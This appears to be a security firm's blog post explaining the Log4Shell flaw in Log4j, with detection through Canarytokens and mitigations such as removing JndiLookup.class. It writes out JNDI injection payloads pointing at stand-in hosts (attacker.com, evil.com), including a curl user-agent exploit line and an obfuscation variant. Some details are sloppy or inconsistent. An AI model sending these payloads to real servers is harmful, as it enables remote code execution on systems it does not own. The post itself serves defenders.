- Let's Connect!
- Email: support@securityboat.net
- Phone: +91 9175154999
Could you imagine that something very dangerous has been present in billions of devices since 2013 that can potentially take over more than 3.5 billion devices? That seems like chaos! Right? In Christmas time, on Thursday December 9th The Apache Software Foundation released details on a critical vulnerability in Log4j, a logging library used in millions of Java applications. Hackers began exploiting the flaw (CVE-2021-44228) – dubbed “Log4Shell” – which was rated 10 out of 10 on the CVSS vulnerability rating scale. A vulnerable application could allow remote code execution (RCE) on underlying servers.
Before going deep into Log4j vulnerability, It is very important that you understand some basics which will help you to understand vulnerability more efficiently.
Log4j is an open-source Java library that allows applications to write data to a log. The Java logging library has been around for years and is the most popular in the world today. It is standard practice in modern software development to utilize open source software. The advantage of using open source libraries like Log4j is that they save time and money. One downside of open source is that when a vulnerability is found, the effects can be widespread among multiple companies and cloud providers, and determining all applications and services that use that open source library is hard and time-consuming.
This Java-based logging utility is called Apache Log4j. The Log4j Java library provides information that helps applications run smoothly, determine what’s happening, and assist with debugging when errors occur.
Libraries that log messages typically store them in a log file or a database. Often, the string is processed before being recorded in a log file. As an example, variables defined as $(variable) expand to date, time, or username. Using an expression like Log.info(“$[user.username] not found”), the $(user.username) expression can be replaced with the actual username of the current user. Using this method is similar to using $() in PowerShell to expand and parse strings.
Log4j uses JNDI to retrieve this information remotely from a remote machine. Using JNDI, programmers can look up items using a variety of services and protocols, including LDAP, DNS, Java Remote Method Invocation (RMI), among others.
The syntax of JNDI is :
${ jndi:protocol://server}. ${} These blocks can be nested and merged. It allows for countless complicated obfuscation techniques that can be used. For example, attackers can use ${${lower:jn}${lower:di}} instead of ${ jndi:}. This allows attackers to retrieve information from a remote server by exploiting the vulnerability. They can, for example, read an environment variable and use its value in an LDAP query.
An attacker can specify a custom user-agent string for their connections. Data is saved in a log file, and Log4j is used to process it. Here is a specially crafted user-agent string to exploit this vulnerability :
curl http://victim.com/ -A "${ jndi:ldap://attacker.com/reference}"Apache Log4j2 2.0 through 2.12.1 and 2.13.0 through 2.15.0 do not protect attacker-controlled LDAP and other JNDI related endpoints. Log4j 2.15.0 disables this behavior by default. This behavior has been eliminated in Log4j 2.16.0.
Log4j was discovered to have a critical vulnerability on December 9, 2021. The National Institute of Standards and Technology (NIST) rated this vulnerability a 10/10 in its National Vulnerability Database (NVD). This whitepaper was written at the time when four common vulnerabilities and exposures (CVE) identifiers were assigned to this issue: CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104. A major concern with this vulnerability is not only how it can be exploited by attackers, but also how widely Log4j is used across all industries, verticals, and company sizes. As of Thursday, December 9, 2021, Logging is one of the fundamental principles of good programming practice and a basis for proper security.
Log4j has a number of features that can be used to ensure debugging and audit information is logged appropriately. One of these features utilizes a Java library called Java Naming and Directory Interface (JNDI). Developers can use this API to interact with directory services, such as Active Directory, to query user or directory information. Using JNDI, Log4j queries directory information that can be included as part of the logs (for example, the username of an individual performing an action).
In the first Log4j CVE, a rogue directory server could be accessed by manipulating the JNDI string.
A malicious directory server would return a malicious payload, such as a library containing malware, which would then be executed. This exploit may allow attackers to take control of your system or implant malware on your server.
As the impact and scope of the vulnerability become better understood, more CVEs have been assigned. There are several similarities between the new vulnerabilities and previous CVEs when you look at each one closely. JDNI is exploited and the payload is manipulated using techniques like string manipulation to perform malicious actions like remote code execution or denial of service. Using similar techniques, it is likely that additional attack patterns will be discovered over time.
It is Java itself that is causing the problem. Log4j is exposed as part of the logging engine included in many Java frameworks, such as Struts. This popular logger is also found in many enterprise applications. This vulnerability is serious because any element within the application that logs user input could be exploited. It is possible that the component exploited is buried deep within your application infrastructure, not just your edge web services. In theory, it can also be exploited by non-web interfaces. All you have to do is log the user’s input.
The vulnerability lies in the logging mechanism itself :
logger.info("Expoit Variable {} Input", input)Imagining the hundreds of lines of code in your application that logs values that originate from user input!
Almost all Java applications use Log4j. This means that there are approximately 2.5 – 3 billion devices that could be affected by security vulnerability. Many enterprises use Java applications.
To date, there have been over 1,272,000 hacking attempts, and over 44% of corporate networks worldwide are vulnerable to this vulnerability. Several attacks have been detected recently that exploit the Log4j vulnerability to mine cryptocurrencies.
With Log4Shell (CVE 2021-44228), attackers can remotely run any code they want and gain access to all data on the affected machine. They can also delete or encrypt all files on the machine and store them for ransom. As a result, it could be targeted by anything using a vulnerable version of Log4j to log user-controllable data.
The simplest way to detect Log4j vulnerability in the system is using Canarytokens. Follow below-written steps to detect Log4j vulnerability.
Generate a token from CanaryTokens.org like follow :
1) Visit canarytokens.org/generate
2) Select “Log4Shell” from the dropdown list.
3) Enter the email address you want to send the results to.
4)Put a note to remind yourself which token this is, and what you intend to test.
5) Click On Create My Canarytoken
1) open the website or application you plan to test.
2) Copy and paste the entire token into various fields and forms that the application is likely to log. Remember to click “submit,” “confirm,” or another associated button.
Some fields you can try :
Review Results
1) Please check the notification on your email address when generating the CanaryToken.
2) You will not receive any notification if none of the fields you tested is vulnerable. If any of the fields are vulnerable, you will receive an email similar to this:
3) Take a look at the alert details. You should note the IP address of the application and the hostname of the Log4Shell instance. This should match the application you are testing.
Log4j allows the logging of format strings that reference external information through the Java Naming and Directory Interface (JNDI). A variety of protocols can be used to retrieve information remotely, including the Lightweight Directory Access Protocol (LDAP).
As an example, Log4j finds the following string in a log message:
${jndi:ldap://evil.com/security} 
The JNDI is instructed to query the LDAP server at “evil.com” for the “security” object. JNDI will execute Java classes referenced by an LDAP server by design. JNDI will automatically request file security. class from the web server if the LDAP server’s response references https://evil.com/security.
Users’ log messages contain user-controlled data, so attackers can use JNDI references to point to their LDAP servers for serving malicious Java classes.
For a Java application to be vulnerable, all of the following conditions must be met:
1) Java application uses log4j 2.0.0-2.12.1 or 2.13.0-2.14.1 (Maven package log4j-core).
2) Due to backported fixes from 2.16.0, version 2.12.2 is not vulnerable.
3) An attacker can log arbitrary strings via logger.info(), logger.debug(), logger.error(), logger.fatal(), logger.log(), logger.trace(), logger.warn().
4) There is an older version of Java JRE / JDK in use:
6u211
7u201
8u191
11.0.1
Removing the JndiLookup class
As a result of the way Log4j uses JNDI (Java Naming and Directory Interface), which was designed to allow the loading of additional Java objects during runtime execution, this vulnerability exists. It is possible to load these objects from remote naming services using JNDI over various protocols. There are many protocols that can be used as well as LDAP (Lightweight Directory Access Protocol), like DNS (Domain Name System), RMI (Remote Method Invocation), NDS (Novell Directory Services), NIS (Network Information Service), and CORBA (Common Object Request Broker Architecture).
Some practical steps:
The vulnerability can be fixed by disabling JNDI message lookups, which Log4j 2.16.0 does. Alternatively, you can remove the entire JndiLookup class, which implements this functionality, from an affected Log4j package. Java components are essentially ZIP archives, so administrators can modify and patch vulnerable packages with the following commands:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classHot patching using a Java agent
Hot patching involves deploying a patch to a running process without restarting it. An instrumentation API and Java agents allow Java to modify byte code running in a Java Virtual Machine (JVM) on-the-fly. A Java agent can be dynamically attached to a JVM during runtime as a JAR file (Java Archive).
As a result of the Log4j vulnerability, the Corretto team of Amazon Web Services developed a Java agent that returns “Patched JndiLookup::lookup()” instead of connecting to a remote server in response to the vulnerabilities in Log4j.
The agent can be downloaded from GitHub and deployed as an ephemeral container within an existing Kubernetes pod to patch applications running in other containers. Kubernetes v1.16 and later support ephemeral containers.
In response, the security community developed open-source tools to automate the discovery of vulnerable Log4j servers. A LunaSec tool called log4shell can check .jar and .war files in a project directory for vulnerabilities and report them. A number of commercial and open-source vulnerability scanners and tools now support the Log4j vulnerabilities. You can always use them to identify vulnerable systems.
Organizations should first identify all applications and systems they have that could be vulnerable to Log4j exploits before developing any response strategy or using any of the mitigation paths outlined above. The problem is that each application can bundle its own instance of Log4j and could also load it dynamically as part of some third-party dependency.
Log4j is considered one of the most impacted vulnerabilities in recent years. It was really hard for IT organizations back then at the time of Log4j’s appearance. The direct impact of Log4j was very severe. Hence to prevent organizations from such vulnerability, One should keep updating their products to the latest versions. Keeping checking about new loopholes in the system and applying a combinational approach to preventing vulnerability can help organizations to stay secure from such types of vulnerabilities.
If you want to stay updated with more of such blogs then you can check our blogs section.
I am a security analyst at SecurityBoat. I have special interest in web application, ios, android pentesting. I am also a technical content writer. apart from all these I have experience in hardware and software troubleshooting.